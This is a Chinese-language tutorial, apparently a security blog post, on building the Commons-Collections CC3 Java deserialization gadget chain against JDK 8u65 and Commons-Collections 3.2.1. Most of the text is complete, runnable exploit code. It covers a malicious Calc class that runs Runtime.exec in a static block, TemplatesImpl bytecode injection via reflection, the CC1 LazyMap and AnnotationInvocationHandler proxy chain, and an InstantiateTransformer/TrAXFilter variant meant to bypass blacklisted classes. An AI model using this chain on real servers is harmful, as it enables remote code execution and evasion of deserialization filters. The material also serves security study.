Java反序列化Commons-Collections篇04-CC3链

Java反序列化Commons-Collections篇04-CC3链

前言

前面的CC1和CC6链都是通过Runtime.exec()进行命令执行的。当服务器的代码将Runtime放入黑名单的时候就不能使用了。

CC3链的好处是通过动态加载类的机制实现恶意类代码执行。

版本限制

  • jdk8u65
  • Commons-Collections 3.2.1

动态类加载

在之前的Java动态加载的文章中我们就讲到了ClassLoader#defineClass 直接加载字节码的手段,在这一条链子当中,流程图可以绘制如下。

1757079258296-47dc61c9-34c8-474d-9232-9c43380b6898.png

在子类的findClass方法中调用defineClass的例子:

//URLClassLoader
protected Class<?> findClass(final String name)
        throws ClassNotFoundException
    {
        final Class<?> result;
        try {
            result = AccessController.doPrivileged(
                new PrivilegedExceptionAction<Class<?>>() {
                    public Class<?> run() throws ClassNotFoundException {
                        String path = name.replace('.', '/').concat(".class");
                        Resource res = ucp.getResource(path, false);
                        if (res != null) {
                            try {
                                return defineClass(name, res);
                            } catch (IOException e) {
                                throw new ClassNotFoundException(name, e);
                            }
                        } else {
                            return null;
                        }
                    }
                }, acc);
        } catch (java.security.PrivilegedActionException pae) {
            throw (ClassNotFoundException) pae.getException();
        }
        if (result == null) {
            throw new ClassNotFoundException(name);
        }
        return result;
    }

defineClass()的作用是处理前面传入的字节码,将其处理成真正的Java类。

此时的defineClass()方法是有局限性的,因为它只是加载类,并不执行类。若需要执行类,则需要先进行newInstance()的实例化。

1757080589765-77628835-45bd-4be3-8c3a-01dc83ecdf88.png

CC3链分析

寻找链

defineClass()方法开始,现在此方法的作用域为protected,我们需要找到作用域为public的类,方便调用

1757080990394-9ed7196e-9080-4948-9d21-c2abce71f4fb.png

我们TemplatesImpl类的static final class TransletClassLoader方法中的defineClass方法,由于此方法没有标注作用域,所以这里默认为defalut,在自己的类中可以调用。

继续查找谁调用了defineClass方法

1757081654769-90c5a6fe-1cec-4e35-9fa9-fae6b06632de.png

因为这里的作用域是private,所以我们继续跟进

1757082939711-1418e102-163f-4833-a65e-680278186b04.png

这里的getTransletInstance调用了defineTransletClasses()方法,但是因为它是私有的,所以继续找。

1757083167343-f3d31244-80dd-4c29-9c52-f32e1850b061.png

最后找到一个public的newTransformer方法,接下来我们开始 利用。

TemplatesImpl类利用

因为在getTransletInstance方法中就已经进行了初始化,所以我们只需要走到getTransletInstance()方法即可

TemplatesImpl templates=new TemplatesImpl();
//templates.newTransformer();

如果没有其他的限制条件,我们这两行代码就可以执行了,注意此方法中进行了实例化,但是在getTransletInstance中存在如下限制条件。1757135457596-95428d24-ef4a-432d-bd47-b381dbb0e80e.png

可以看到第一个if返回null不是我们需要的,我们需要通过第二个if判断才能执行命令

所以通过反射修改其值,构造部分exp

Class<TemplatesImpl> c=TemplatesImpl.class;
    Field name=c.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"a");

defineTransletClasses()可以被执行,我们继续看defineTransletClasses()中的代码

1757135838207-4fd995bc-2332-4a2a-bef6-331ae044a160.png

所以这里不能让_bytecodes为null

1757135975634-35eeeac1-6b07-45fb-9c73-66ecd427f1f4.png

这里发现_bytecodes为一个二维数组,从而继续构造部分exp

 Field bytecodes=c.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[]eval= Files.readAllBytes(Paths.get("D://Calc.class"));//恶意的字节码文件
    byte[][]codes={eval};
    bytecodes.set(templates,codes);

在构造一个Calc.class的恶意类

import java.io.IOException;  
  
public class Calc {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
 } catch (IOException e){  
            e.printStackTrace();  
 }  
    }  
}

_bytecodes作为要传递进defineClass方法的值是一个一维数组,而这个一维数组我们需要存放恶意的字节码。

再看_tfactory变量,发现它被声明为transient

如果 _tfactory 为 null,那么 _tfactory.getExternalExtensionsMap() 会抛出 NullPointerException,导致整个利用链失败,所以这里不能为null。

1757138327341-1170cbc5-69f8-4a17-bbbe-a1272abb853e.png

  • 在Java中当一个变量被声明为transient时,它表示该变量不参与序列化过程

在readObject方法中,可以对transient变量的自定义控制和初始化

1757138489787-85f46a04-30eb-4765-99d6-6569ab7fce3c.png

可以发现_tactory的默认值为"new TransformerFactoryImpl",从而我们构造exp的部分代码。

Field tfactory=c.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

最后我们构造TemplatesImpl类的exp完整代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args)throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        //templates.newTransformer();
        Class<TemplatesImpl> c=TemplatesImpl.class;
        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes=c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]codes={eval};
        bytecodes.set(templates,codes);

        Field tfactory=c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();
    }

}


解决报错

1757139738987-a0b04fa7-7034-49e0-82e8-bb8b708e5688.png

这里显示空指针错误,打断点调试之后发现问题出在这

1757141058152-e23a45f9-bcd9-4720-b3a2-e6ec0cfab261.png

这里代码的主要意思是:

  • 获取这个加载类的类名,如果这个类包含AbstractTranslet这个类,就会来到下面的else代码段,所以我们才会显示空指针。

所以我们让加载的类继承AbstractTranslet这个类就好了,继承类之后还要重写方法,最后变成以下代码


public  class Calc extends AbstractTranslet {
    public Calc(){}

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    static {
        // 你的恶意代码(例如执行命令)
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

1757142631658-231a5ca8-2631-41c3-8a76-d69ad65f558d.png

现在我们就可以弹出计算器了

CC3链=CC1前半段链+Templateslmpl类利用链

前面的CC1和CC6链都是通过Runtime.exec()的方式执行恶意代码的,如果服务器将Runtime加入黑名单这种方式就失效了,但是这里通过Templateslmpl利用链动态加载字节码进行代码执行就可以规避这一限制。

1757155697725-1f1943de-7561-427d-a95d-8df2373c8fed.png

CC1链唯一修改的地方就是这里

Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };


public class CC3 {
    public static void main(String[] args)throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        //templates.newTransformer();
        Class c=templates.getClass();
        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes=c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]codes={eval};
        bytecodes.set(templates,codes);

        Field tfactory=c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform(1);

    }

}


可以看到命令执行成功,chainedTransformer.transform(1) 是因为前面我们定义了 new ConstantTransformer(templates),这个类是需要我们传参的,传入 1 即可。

接下来直接放入剩下CC1前半链


public class CC3 {
    public static void main(String[] args)throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        //templates.newTransformer();
        Class c=templates.getClass();
        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes=c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]codes={eval};
        bytecodes.set(templates,codes);

        Field tfactory=c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
        hashMap.put("key","value");
        Map lazydecorateMap= LazyMap.decorate(hashMap,chainedTransformer);
        Class lazyMapClass= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = lazyMapClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazydecorateMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

        serialize(invocationHandler);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}


1757156928597-f192902f-4810-4e0e-a091-a5f9a7090cba.png

成功弹出计算器

代替InvokerTransformer类链

1757157160746-a38e0342-e87d-4e0d-9bf6-b332945bd669.png

当服务过滤这个InvokerTransformer类的时候,我们可以选择其他类替代,作为链子的一部分

我们可以寻找newTransformer方法的类的方法

1757157403120-1652d915-970f-4d38-b135-47f0d39cc440.png

看到 TrAXFilter 类中调用了newTransformer()方法

1757157545107-51ccd9bf-e269-4d1c-a8d3-d93ababf8aaf.png

为什么这里选择了TrAXFilter ,而不是其他类?

  • 首先Process的这个在main里,是作为一般对象用的,所以不用它
  • getOutputProperties()是反射调用的方法,可能会在fastjson的漏洞里面被调用
  • TransformerFactoryImpl 不能序列化,如果还想使用它也是可能的,但是需要传参,我们需要去找它的构造函数,但是它的构造函数难以传参
  • 最后TrAXFilter也不能序列化,但是看它的构造函数发现是可以尝试一下的,我们发现只要执行这个类的构造函数即可命令执行。

CC3的作者找到了一个 InstantiateTransformer 类的 transform方法。

1757159100031-ac28eb77-67ba-4a97-a827-124fb9f7c3cb.png

  • 第一个if判断传进来的参数是否是Class类型

  • 然后获取它的指定参数类型的构造器,然后调用它的构造方法

  • public Constructor<T> getConstructor(Class<?>... parameterTypes),参数:parameterTypes - 构造函数参数类型的可变数组

看一下它的构造函数

1757160065339-e7ca2fa1-e4da-440a-8d27-5beba1630cb9.png

我们根据这个构造exp


public class CC3 {
    public static void main(String[] args)throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        //templates.newTransformer();
        Class c=templates.getClass();
        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes=c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]codes={eval};
        bytecodes.set(templates,codes);

        Field tfactory=c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class} ,new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }


}

1757157160746-a38e0342-e87d-4e0d-9bf6-b332945bd669.png

完整版exp代码:




//ClassLoader.defineClass,这里要defineClass一个恶意类(首先明确一个条件,第一次实例化的时候就会触发类加载,所以在后面的进程中需要触发实例化)
//(defalut)TemplatesImpl.TransletClassLoader中的defineClass方法调用了defineClass,
//查找此类中谁调用了defineClass,找到此类中的private方法的defineTransletClasses(),存在loader.defineClass(_bytecodes[i]);
//由于defineTransletClasses()私有,还要在同类中找可以调用它的getTransletInstance(此处要解决两个条件判断)
//由于getTransletInstance私有,继续找到调用它的newTransformer方法,这次终于是公有的了。



public class CC3 {
    public static void main(String[] args)throws Exception {
        TemplatesImpl templates=new TemplatesImpl();

        Class<TemplatesImpl>  c=TemplatesImpl.class;
        Field bytecodes=c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]eval=Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecodes.set(templates,code);//反射传入恶意类

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");//反射传入_name,绕过if


        Field tfactory=c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());//这个值为null会抛出错误让恶意链无法完整被执行


        //templates.newTransformer();

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                //new InvokerTransformer("newTransformer",null,null)
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        //chainedTransformer.transform(1);//这里依次调用transformers中的transform方法
        //第一步返回 TemplatesImpl 实例,第二步templates.newTransformer();

        HashMap<Object,Object>hashMap=new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);

        Class LazyMapclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=LazyMapclass.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Override.class,lazyMap);

        Map MapProxy=(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler=(InvocationHandler) constructor.newInstance(Override.class,MapProxy);

        serialize(invocationHandler);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}


小结

1757387217644-b4b7150f-da0b-4aa8-9464-5f0db62961d7.png

更新: 2025-09-09 11:07:29
原文: https://www.yuque.com/cindahy/ukztx0/vf6r8ip9tyoi6c0l

评论